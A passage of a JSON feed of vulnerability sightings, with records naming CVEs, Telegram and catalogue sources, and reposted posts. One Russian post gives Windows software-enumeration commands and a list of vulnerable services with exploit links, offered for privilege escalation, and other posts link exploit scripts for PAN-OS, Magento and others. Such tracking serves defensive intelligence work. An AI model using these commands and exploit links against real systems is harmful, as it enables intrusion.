{$_.DisplayName -ne $null} | Select-Object DisplayName, DisplayVersion, Publisher, InstallDate\n\n# wmi\nwmic product get name,version,vendor  \n\n# Seatbelt\n.\\SeatBelt.exe InstalledProducts\n\n\u0425\u043e\u0447\u0443 \u043f\u043e\u0434\u0435\u043b\u0438\u0442\u044c\u0441\u044f \u0441 \u0432\u0430\u043c\u0438 \u043d\u0435\u0431\u043e\u043b\u044c\u0448\u0438\u043c \u0441\u043f\u0438\u0441\u043e\u0447\u043a\u043e\u043c \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u0445 \u0441\u043b\u0443\u0436\u0431, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043c\u043e\u0433\u0443\u0442 \u043f\u043e\u043c\u043e\u0447\u044c \u0432\u0437\u044f\u0442\u044c \u0441\u0438\u0441\u0442\u0435\u043c\u0443 \u043d\u0430 \u043a\u043e\u043d\u0435\u0447\u043d\u043e\u0439 \u0442\u0430\u0447\u043a\u0435. \u041e\u0434\u043d\u043e\u0437\u043d\u0430\u0447\u043d\u043e \u043d\u0443\u0436\u043d\u043e \u0438\u043d\u0442\u0435\u0433\u0440\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u044d\u0442\u043e\u0442 \u0441\u043f\u0438\u0441\u043e\u043a \u0432 \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u0439 Exploit-Street, \u043d\u043e \u044f \u0447\u0442\u043e-\u0442\u043e \u043d\u0435 \u043c\u043e\u0433\u0443 \u043f\u0440\u0438\u0434\u0443\u043c\u0430\u0442\u044c \u043a\u0430\u043a. \u041c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u0443 \u0432\u0430\u0441 \u0435\u0441\u0442\u044c \u0438\u0434\u0435\u0438?\n\nManageEngine ServiceDesk\n- https://github.com/horizon3ai/CVE-2021-44077\n\nManageEngine ADSelfService\n- https://github.com/synacktiv/CVE-2021-40539\n- CVE-2022-47966\n- CVE-XXXX-XXXX (\u0441 \u0432\u0435\u0440\u0441\u0438\u0438 ADSelfService Plus 4.2.9, 2012 \u0438 \u0434\u043e \u0432\u0435\u0440\u0441\u0438\u0438 6.3 Build 6301)\n\nUserManager\n- CVE-2023-36047\n\nITunes\n- CVE-2024-44193\n\nRazer ( \u0434\u043e 3.7.1209.121307)\n- RazerEoP\n\nDatacard XPS Card Printer Driver \n- CVE-2024-34329\n\nAppGate\n- CVE-2019-19793\n\nSeagate\n- CVE-2022-40286\n\nAWS VPN Client\n- CVE-2022-25165\n\nAIDA (\u0443\u044f\u0437\u0432\u0438\u043c\u044b \u0432\u0435\u0440\u0441\u0438\u0438 \u043d\u0438\u0436\u0435 7.00.6742)\n- AIDA64DRIVER-EOP\n\nVboxSDS\n- CVE-2024-21111\n\nTeamViewer\n- CVE-2024-7479 CVE-2024-7481\n\nGamingService \u043e\u0442 XBOX\n- GamingServiceEoP\n- GamingServiceEoP5\n\nChrome Updater\n- CVE-2023-7261\n\nPlantronics Desktop Hub\n- CVE-2024-27460", "creation_timestamp": "2024-12-26T13:38:29.000000Z"}, {"uuid": "b88f104b-ef23-4efe-974a-a38368ca6863", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-3400", "type": "seen", "source": "https://t.me/ZerodayAlert/214", "content": "", "creation_timestamp": "2026-07-06T11:00:07.871141Z"}, {"uuid": "65364395-82a4-454c-b68c-3e334b97c4d8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-3400", "type": "seen", "source": "https://t.me/ZerodayAlert/217", "content": "", "creation_timestamp": "2026-07-06T11:00:07.811566Z"}, {"uuid": "eaca5f21-bb58-4710-ad5c-9b0f051a4a0d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34331", "type": "published-proof-of-concept", "source": "https://t.me/CyberSecurityTechnologies/11859", "content": "#exploit\n1. CVE-2025-20029:\nCommand Injection in TMSH CLI in F5 BIG-IP\nhttps://github.com/mbadanoiu/CVE-2025-20029\n\n2. Dropping a 0 day:\nParallels Desktop Repack Root Privilege Escalation (CVE-2024-34331)\nhttps://jhftss.github.io/Parallels-0-day\n\n3. CVE-2025-21669/CVE-2025-21670:\nvsock/virtio: discard packets if the transport changes / vsock/bpf: return early if transport is not assigned (Linux Kernel)\nhttps://u1f383.github.io/linux/2025/02/24/linux-kernel-some-vsock-vulnerabilities-analysis.html", "creation_timestamp": "2025-02-26T00:08:02.000000Z"}, {"uuid": "fc1fe701-2765-474b-a223-cacd457c2132", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3400", "type": "published-proof-of-concept", "source": "https://t.me/CyberSecurityTechnologies/10325", "content": "#exploit\nCVE-2024-3400:\nPAN-OS Firewall Command Injection Exploit Script\n]-> https://github.com/W01fh4cker/CVE-2024-3400-RCE", "creation_timestamp": "2024-04-17T13:52:56.000000Z"}, {"uuid": "216a718e-7307-4fb5-91f6-f5c5f34205f9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34331", "type": "seen", "source": "https://t.me/CyberSecurityTechnologies/10635", "content": "#exploit\n1. CVE-2024-27822:\nmacOS PackageKit Privilege Escalation\nhttps://khronokernel.com/macos/2024/06/03/CVE-2024-27822.html\n\n2. CVE-2024-27348:\nApache HugeGraph Server RCE\nhttps://github.com/kljunowsky/CVE-2024-27348\nhttps://github.com/Zeyad-Azima/CVE-2024-27348\n\n3. CVE-2024-34331:\nParallels Repack Privilege Escalation\nhttps://khronokernel.com/macos/2024/05/30/CVE-2024-34331.html", "creation_timestamp": "2024-07-17T19:40:43.000000Z"}, {"uuid": "10b63540-079b-4ac7-bb34-556029a2da4f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3400", "type": "seen", "source": "https://t.me/CybNux/6176", "content": "\u0627\u0633\u062a\u063a\u0644\u0627\u0644 Zero-Day \u0644\u0644\u062b\u063a\u0631\u0629 \u0627\u0644\u0623\u0645\u0646\u064a\u0629 \u063a\u064a\u0631 \u0627\u0644\u0645\u0635\u0627\u062f\u0642 \u0639\u0644\u064a\u0647\u0627 \u0644\u062a\u0646\u0641\u064a\u0630 \u0627\u0644\u062a\u0639\u0644\u064a\u0645\u0627\u062a \u0627\u0644\u0628\u0631\u0645\u062c\u064a\u0629 \u0639\u0646 \u0628\u0639\u062f \u0641\u064a GlobalProtect (CVE-2024-3400)", "creation_timestamp": "2024-04-15T09:35:52.000000Z"}, {"uuid": "de39dfe7-e268-47d3-bd16-554261f9f427", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34102", "type": "published-proof-of-concept", "source": "https://t.me/CyberSecurityTechnologies/10751", "content": "#exploit\n1. CVE-2024-34102:\nMagento XXE\nhttps://www.assetnote.io/resources/research/why-nested-deserialization-is-harmful-magento-xxe-cve-2024-34102\n]-> PoC + detect:\nhttps://github.com/jakabakos/CVE-2024-34102-CosmicSting-XXE-in-Adobe-Commerce-and-Magento\n\n2. Fortra FileCatalyst Workflow Unauth SQLi\nhttps://www.tenable.com/security/research/tra-2024-25\n\n3. Multiple vulnerabilities in TP-Link Omada system could lead to root access\nhttps://blog.talosintelligence.com/multiple-vulnerabilities-in-tp-link-omada-system", "creation_timestamp": "2024-07-17T05:46:19.000000Z"}, {"uuid": "b11f5ccd-6218-4c7f-8da2-38636b11c946", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34065", "type": "published-proof-of-concept", "source": "https://t.me/CyberSecurityTechnologies/10863", "content": "#exploit\n1. CVE-2024-34065:\nStrapi Open Redirect\nhttps://blog.quarkslab.com/looking-for-vulnerabilities-in-strapi-cve-2024-34065.html\n\n2. CVE-2024-40725,\nCVE-2024-40898:\nApache HTTP Server SSRF\nhttps://github.com/TAM-K592/CVE-2024-40725-CVE-2024-40898", "creation_timestamp": "2024-07-21T19:21:49.000000Z"}, {"uuid": "29888813-e39b-4d06-b988-652249c7b28c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34329", "type": "published-proof-of-concept", "source": "https://t.me/CyberSecurityTechnologies/10891", "content": "#exploit\n1. CVE-2024-34329:\nPrivilege escalation on Windows through a card printer software\nhttps://p0pcycle.com/2024/07/21/i-hacked-a-card-printer-software\n]-> https://github.com/pamoutaf/CVE-2024-34329\n\n2. CVE-2024-33352:\nBlueStacks privilege escalation through VM backdooring\nhttps://github.com/mmiszczyk/CVE-2024-33352", "creation_timestamp": "2024-07-27T16:27:25.000000Z"}, {"uuid": "e8a7216d-b5a2-42e7-8c15-7262f0470163", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34716", "type": "published-proof-of-concept", "source": "https://t.me/CyberSecurityTechnologies/11835", "content": "#exploit\n1. CVE-2025-21420:\nWindows Disk Cleanup Tool EoP\nhttps://github.com/Network-Sec/CVE-2025-21420-PoC\n\n2. CVE-2024-34716:\nExploiting Linux Trickster via an XSS in PrestaShop\nhttps://github.com/TU-M/Trickster-HTB\n\n3. CVE-2025-26466:\nOpenSSH MitM/DoS\nhttps://github.com/rxerium/CVE-2025-26466\n]-> https://www.qualys.com/2025/02/18/openssh-mitm-dos.txt", "creation_timestamp": "2025-02-20T12:03:40.000000Z"}, {"uuid": "ccf7f616-841b-45d9-a4bb-a89414c71870", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3400", "type": "published-proof-of-concept", "source": "https://t.me/LearnExploit/6500", "content": "UPSTYLE backdoor targeting GlobalProtect VPN devices via CVE-2024-3400 in 3 images/stages \ud83d\udd25 \n\nGithub \n\n#poc #backdoor #0day\n\u2014\u2014\u2014\u2014\u2014\u2014\u200c\n0Day.Today\n@LearnExploit\n@Tech_Army", "creation_timestamp": "2024-04-13T15:05:38.000000Z"}, {"uuid": "3fb5162c-3c86-4d73-92e2-c7c706dfa11e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34716", "type": "published-proof-of-concept", "source": "https://t.me/CyberSecurityTechnologies/11776", "content": "#Threat_Research\n1. HTB: Trickster\n(CVE-2024-34716, CVE-2024-32651)\nhttps://0xdf.gitlab.io/2025/02/01/htb-trickster.html\n2. Windows Sockets: From Registered I/O to SYSTEM Privileges (CVE-2024-38193)\nhttps://blog.exodusintel.com/2024/12/02/windows-sockets-from-registered-i-o-to-system-privileges", "creation_timestamp": "2025-02-05T15:00:53.000000Z"}, {"uuid": "580f7b8f-83a2-4ed5-9948-833ebb1ce47f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3400", "type": "exploited", "source": "https://t.me/SumatraSelatanCyberTeamIndonesia/507", "content": "CVE-2024-3400: PAN-OS Firewall Exploit Script\n1. https://github.com/0x0d3ad/CVE-2024-3400\n2. https://github.com/h4x0r-dz/CVE-2024-3400\n3. https://github.com/AdaniKamal/CVE-2024-3400\n4. https://labs.watchtowr.com/palo-alto-putting-the-protecc-in-globalprotect-cve-2024-3400", "creation_timestamp": "2024-06-28T09:29:54.000000Z"}, {"uuid": "a63f6319-ead0-4499-82f4-fad8247c79ea", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34329", "type": "published-proof-of-concept", "source": "https://t.me/Rootsec_2/3484", "content": "#exploit\n1. CVE-2024-34329:\nPrivilege escalation on Windows through a card printer software\nhttps://p0pcycle.com/2024/07/21/i-hacked-a-card-printer-software\n]-> https://github.com/pamoutaf/CVE-2024-34329\n\n2. CVE-2024-33352:\nBlueStacks privilege escalation through VM backdooring\nhttps://github.com/mmiszczyk/CVE-2024-33352", "creation_timestamp": "2024-08-16T11:18:01.000000Z"}, {"uuid": "be8edb6f-652d-4757-9a69-69081f1433df", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34102", "type": "exploited", "source": "Telegram/lowHqxZU0Hmci25qV5XivanoaRM_8_vHPyw6C3YOHcY", "content": "", "creation_timestamp": "2024-10-08T08:16:28.000000Z"}, {"uuid": "80b12ce0-b597-42b6-a006-05f256a9c8b9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3400", "type": "seen", "source": "https://t.me/club31337/1847", "content": "Unauthenticated RCE in Palo Alto Networks GlobalProtect\n\nhttps://security.paloaltonetworks.com/CVE-2024-3400\n\n\u269c\ufe0f @club1337", "creation_timestamp": "2024-11-11T01:56:45.000000Z"}, {"uuid": "4b5f703a-3e67-4f19-b5be-c6e49a0effa0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3400", "type": "published-proof-of-concept", "source": "https://t.me/club31337/1866", "content": "https://www.volexity.com/blog/2024/04/12/zero-day-exploitation-of-unauthenticated-remote-code-execution-vulnerability-in-globalprotect-cve-2024-3400/\n\nhttps://github.com/RustyNoob-619/YARA/blob/main/Rules/Python_UPSTYLE_Backdoor.yara\n\n\u269c\ufe0f @club1337", "creation_timestamp": "2024-11-11T01:56:52.000000Z"}, {"uuid": "54a9f317-5e12-4e04-88ba-4d7503b8cce3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "cve-2024-3400", "type": "seen", "source": "https://bsky.app/profile/kunalganglani.bsky.social/post/3ml6qfzymaa23", "content": "", "creation_timestamp": "2026-05-06T12:49:26.712428Z"}, {"uuid": "ff171098-9624-465c-964d-6419795af40d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-3447", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-26-134-16", "content": "", "creation_timestamp": "2026-05-14T10:00:00.000000Z"}, {"uuid": "777ad15d-7198-4d5f-b960-456faed959e7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-34102", "type": "seen", "source": "https://t.me/GithubRedTeam/85866", "content": "", "creation_timestamp": "2026-05-25T18:01:35.000000Z"}, {"uuid": "b5d0e075-b053-4b7d-8f37-0ffbd3a5dd76", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-34102", "type": "seen", "source": "Telegram/DE_8V0W55Lks0xFUNDp9UGyNB0T-CRSwfpeIrdYc5V2Tnj4", "content": "", "creation_timestamp": "2026-05-25T21:00:04.000000Z"}, {"uuid": "ab4f5f51-9114-4ec7-b740-932d07b1ad65", "vulnerability_lookup_origin": "caeb2787-0d58-4236-9039-7c86c3e566f3", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34257", "type": "exploited", "source": "https://db.gcve.eu/known-exploited-vulnerabilities-catalog/3031adae-1b76-4dbc-8b45-b74f33c003e1", "content": "", "creation_timestamp": "2026-06-19T12:42:35.393921Z"}, {"uuid": "3089db19-3b7a-47fe-a5fe-e95ddda72460", "vulnerability_lookup_origin": "caeb2787-0d58-4236-9039-7c86c3e566f3", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3400", "type": "exploited", "source": "https://db.gcve.eu/known-exploited-vulnerabilities-catalog/912ccbe8-e563-45ac-abd6-1c77b17be7e7", "content": "", "creation_timestamp": "2026-06-23T11:14:20.825592Z"}, {"uuid": "b1493416-20c9-435b-9782-251892b5715a", "vulnerability_lookup_origin": "caeb2787-0d58-4236-9039-7c86c3e566f3", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34102", "type": "exploited", "source": "https://db.gcve.eu/known-exploited-vulnerabilities-catalog/015ae765-e350-4510-b153-83b598e0849c", "content": "", "creation_timestamp": "2026-06-23T11:14:22.719365Z"}, {"uuid": "8965f496-6b01-41e8-8249-4df6674e3124", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-3400", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-06-27)", "content": "", "creation_timestamp": "2026-06-28T10:15:08.874016Z"}, {"uuid": "5ea6b023-805c-43cc-b3bc-f39dae12eecb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-3400", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-06-28)", "content": "", "creation_timestamp": "2026-06-29T10:15:06.766824Z"}, {"uuid": "5dc5ab66-ad16-4e36-93ba-d3147c7c84c6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-3400", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-06-29)", "content": "", "creation_timestamp": "2026-06-30T10:15:10.508834Z"}, {"uuid": "cb60c20a-327a-47f7-9776-a0aec7a9aa55", "vulnerability_lookup_origin": "c8fb6bf1-f81f-4cb8-95b1-eadbb3b54ee8", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3400", "type": "exploited", "source": "https://db.gcve.eu/known-exploited-vulnerabilities-catalog/799735e4-2124-4f43-b103-789dff43c604", "content": "", "creation_timestamp": "2026-07-01T05:53:54.703743Z"}, {"uuid": "8b78d276-5f02-4030-93ed-a6d6ffbc1ec0", "vulnerability_lookup_origin": "c8fb6bf1-f81f-4cb8-95b1-eadbb3b54ee8", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34257", "type": "exploited", "source": "https://db.gcve.eu/known-exploited-vulnerabilities-catalog/bdbc3052-1c8f-45b7-92aa-9c3a12a5150d", "content": "", "creation_timestamp": "2026-07-01T05:54:10.801381Z"}, {"uuid": "102e658e-2bb4-427f-87df-cf6e6f39c65f", "vulnerability_lookup_origin": "c8fb6bf1-f81f-4cb8-95b1-eadbb3b54ee8", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34854", "type": "exploited", "source": "https://db.gcve.eu/known-exploited-vulnerabilities-catalog/4111fee1-02c9-47cb-9124-5f70ebe0eee9", "content": "", "creation_timestamp": "2026-07-01T07:18:06.167626Z"}, {"uuid": "95916a7d-05e7-4a46-884f-864f17768904", "vulnerability_lookup_origin": "c8fb6bf1-f81f-4cb8-95b1-eadbb3b54ee8", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34102", "type": "exploited", "source": "https://db.gcve.eu/known-exploited-vulnerabilities-catalog/f02e9a69-c1fc-4e68-b14b-c35477660c33", "content": "", "creation_timestamp": "2026-07-01T07:18:10.486582Z"}, {"uuid": "ad3a5926-ef39-4b5b-877f-30def905c8ce", "vulnerability_lookup_origin": "c8fb6bf1-f81f-4cb8-95b1-eadbb3b54ee8", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34193", "type": "exploited", "source": "https://db.gcve.eu/known-exploited-vulnerabilities-catalog/39c20efb-18e7-4df3-a1be-66d1a7b1d408", "content": "", "creation_timestamp": "2026-07-01T07:18:13.089479Z"}, {"uuid": "66714721-7927-46e1-ba83-cc5d300f998f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-3400", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-07-01)", "content": "", "creation_timestamp": "2026-07-02T10:15:07.713281Z"}, {"uuid": "8bc058cb-8a67-41e7-9d18-40edaf366f17", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-3400", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-07-01)", "content": "", "creation_timestamp": "2026-07-02T10:00:11.303302Z"}, {"uuid": "cd9886b3-3010-4bb3-80d9-f6d241f01521", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-3400", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-07-03)", "content": "", "creation_timestamp": "2026-07-04T10:15:08.308424Z"}, {"uuid": "5a9da7d2-83a4-4664-84c4-e12a730654e2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-3400", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-07-04)", "content": "", "creation_timestamp": "2026-07-05T10:15:42.973580Z"}, {"uuid": "504e1f47-b321-4e6a-9d4f-85ec254fcf8f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-3400", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-07-05)", "content": "", "creation_timestamp": "2026-07-06T10:15:19.346734Z"}, {"uuid": "d2b36887-cf44-4e25-a0dc-00bb7854d532", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-3400", "type": "seen", "source": "https://t.me/ZerodayAlert/214", "content": "", "creation_timestamp": "2026-07-07T00:00:19.980815Z"}, {"uuid": "fce0591a-a2db-456a-a84c-6de742cdfbc5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-3400", "type": "seen", "source": "https://t.me/ZerodayAlert/217", "content": "", "creation_timestamp": "2026-07-07T00:00:19.934145Z"}, {"uuid": "6a4bbe37-b5b5-49af-a626-c6027f876f20", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-34102", "type": "seen", "source": "https://t.me/brutsecurity/584", "content": "", "creation_timestamp": "2026-07-09T03:00:13.552454Z"}, {"uuid": "6baa69d0-f886-4400-b16d-ebe2d3f02b7c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-34102", "type": "seen", "source": "https://t.me/brutsecurity/573", "content": "", "creation_timestamp": "2026-07-09T03:00:13.522477Z"}, {"uuid": "4f56a50c-8df5-4d53-8a56-a7220699fbbf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-34470", "type": "seen", "source": "https://t.me/brutsecurity/560", "content": "", "creation_timestamp": "2026-07-09T03:00:13.452125Z"}, {"uuid": "1818a5d5-fb4d-4cd8-b604-fd55b438150d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-34102", "type": "seen", "source": "https://t.me/brutsecurity/596", "content": "", "creation_timestamp": "2026-07-09T03:00:13.340091Z"}, {"uuid": "8904f901-eb14-432f-bb3c-21216747b728", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-34102", "type": "seen", "source": "https://t.me/brutsecurity/584", "content": "", "creation_timestamp": "2026-07-10T00:00:37.448293Z"}, {"uuid": "ce758ab1-c19f-4e4b-81f4-12974e5d40a7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-34102", "type": "seen", "source": "https://t.me/brutsecurity/573", "content": "", "creation_timestamp": "2026-07-10T00:00:37.407814Z"}, {"uuid": "d3267386-5cbf-4be9-9c52-c9c27ec81162", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-34470", "type": "seen", "source": "https://t.me/brutsecurity/560", "content": "", "creation_timestamp": "2026-07-10T00:00:37.317514Z"}, {"uuid": "e36ca7a0-35b2-4b15-8922-e41ffd574ca0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-34102", "type": "seen", "source": "https://t.me/brutsecurity/596", "content": "", "creation_timestamp": "2026-07-10T00:00:37.208318Z"}, {"uuid": "e9265254-7e92-45d5-8d08-02454e9bc29e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-3400", "type": "seen", "source": "MISP/3057b723-5fae-476d-b162-b0a1a9a63ac2", "content": "", "creation_timestamp": "2026-07-11T00:15:03.824434Z"}, {"uuid": "b1b1fbfb-c0e1-4f3a-ba43-f6fe546a7440", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-34102", "type": "published-proof-of-concept", "source": "https://t.me/brutsecurity/596", "content": "", "creation_timestamp": "2026-07-11T18:00:04.544346Z"}, {"uuid": "bae01b87-34ec-4de9-b539-de1b9e65965f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-34470", "type": "published-proof-of-concept", "source": "https://t.me/brutsecurity/560", "content": "", "creation_timestamp": "2026-07-11T18:00:04.454448Z"}, {"uuid": "a5265939-8f0d-42be-a2d8-dfd24c95768d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-34102", "type": "published-proof-of-concept", "source": "https://t.me/brutsecurity/573", "content": "", "creation_timestamp": "2026-07-11T18:00:04.378538Z"}, {"uuid": "6f4273af-4769-41ba-bfb2-ba80e9722499", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-34102", "type": "published-proof-of-concept", "source": "https://t.me/brutsecurity/584", "content": "", "creation_timestamp": "2026-07-11T18:00:04.336007Z"}, {"uuid": "6383050a-5faf-4783-bc40-c5b8235bb531", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-34102", "type": "published-proof-of-concept", "source": "https://t.me/brutsecurity/596", "content": "", "creation_timestamp": "2026-07-12T00:00:41.818909Z"}, {"uuid": "df1f71c7-ae2f-4825-a382-e630deef9603", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-34470", "type": "published-proof-of-concept", "source": "https://t.me/brutsecurity/560", "content": "", "creation_timestamp": "2026-07-12T00:00:41.741542Z"}, {"uuid": "3a10ca26-ff3c-420c-96d8-cc971a5e9c48", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "4f29edb9-4c4b-44ca-b041-9b050656b6ae", "vulnerability": "CVE-2024-34102", 